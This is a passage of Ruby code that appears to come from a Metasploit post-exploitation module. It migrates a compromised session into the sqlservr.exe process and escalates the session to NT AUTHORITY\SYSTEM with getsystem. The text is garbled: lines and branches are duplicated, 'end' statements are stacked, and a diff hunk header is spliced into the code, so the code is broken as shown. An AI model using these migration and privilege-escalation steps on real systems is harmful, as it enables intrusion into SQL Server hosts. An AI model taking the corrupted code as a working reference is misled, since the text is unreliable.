session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
return 0
end
end
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_good("User is SYSTEM")
return 1
else
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
@ -472,5 +472,5 @@ class Metasploit3 < Msf::Post
end
end
end
end
end